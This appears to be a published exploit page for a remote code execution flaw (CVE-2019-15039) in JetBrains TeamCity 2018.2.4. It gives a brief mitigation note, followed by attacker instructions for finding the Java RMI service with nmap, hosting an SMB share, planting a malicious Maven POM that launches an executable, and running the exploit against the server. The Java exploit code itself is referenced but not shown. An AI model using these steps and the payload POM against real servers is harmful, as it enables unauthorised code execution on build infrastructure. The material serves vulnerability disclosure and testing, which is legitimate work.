JetBrains TeamCity 2018.2.4 – Remote Code Execution

The vulnerability exists in the TeamCity server, which allows an attacker to execute malicious code remotely. The exploit code will connect to the TeamCity server and trigger the vulnerable code. To exploit the vulnerability, the attacker needs to have access to a SMB share that the TeamCity software can read from and that the attacker can write to. The attacker then needs to place a malicious POM in the share, which will be executed by the TeamCity server.

Mitigation:

The mitigation for this vulnerability is to upgrade to the latest version of TeamCity, which is 2018.2.5. Additionally, the SMB share should be secured and access should be restricted to only authorized users.

# Exploit Title: JetBrains TeamCity 2018.2.4 - Remote Code Execution
# Date: 2020-01-07
# Exploit Author: Harrison Neal
# Vendor Homepage: https://www.jetbrains.com/
# Software Link: https://confluence.jetbrains.com/display/TW/Previous+Releases+Downloads
# Version: 2018.2.4 for Windows
# CVE: CVE-2019-15039

# You'll need a few .jars from a copy of TeamCity to compile and run this code
# To compile, file path should match ${package}/${class}.java, e.g.,
# com/whatdidibreak/teamcity_expl/Main.java

# Instructions for Windows (easier case):

# 1) Verify exploitability.
#    1a) Verify the remote host is running Windows, e.g. checking for common
#        running services and their versions.
#    1b) Discover Java RMI services on the remote host, e.g. doing a 65k port
#        scan using nmap and the rmi-dumpregistry script. On one port, there
#        should be a registry with an object named teamcity-mavenServer. This
#        object should point to a second open port that is also identified as
#        Java RMI.

# 2) Prepare the payload.
#    2a) There needs to be an SMB share that the TeamCity software can read from
#        and that you can write to. You might establish a share on your own
#        system and make it accessible to anonymous users. Alternatively, if the
#        TeamCity server is domain-joined, you might find a pre-existing share
#        elsewhere in the domain.
#    2b) Place a malicious POM in that share, e.g.

<project>
	<modelVersion>4.0.0</modelVersion>
	<groupId>com.mycompany.app</groupId>
	<artifactId>my-module</artifactId>
	<version>1</version>
	<build>
		<plugins>
			<plugin>  
				<groupId>org.codehaus.mojo</groupId> 
				<artifactId>exec-maven-plugin</artifactId> 
				<version>1.1.1</version> 
				<executions>
					<execution>
						<goals>
							<goal>exec</goal> 
						</goals>
					</execution>
				</executions>
				<configuration>
					<executable>calc</executable>
					<arguments>
						<argument>-testarg</argument>
					</arguments>
				</configuration>
			</plugin>
		</plugins>
	</build>
</project>

# 3) Run this exploit.
#    Argument #1: TeamCity host (IP or FQDN)
#    Argument #2: Port of RMI Registry (the first open port described above)
#    Argument #3: UNC path to the malicious POM file (e.g., \\ip\share\pom.xml)
#    Argument #4: POM goal (e.g., exec:exec)

# NOTE: It is possible to exploit this issue in other situations, e.g. if the
# TeamCity server is running on a *nix system that allows access to some local
# directory over NFS.
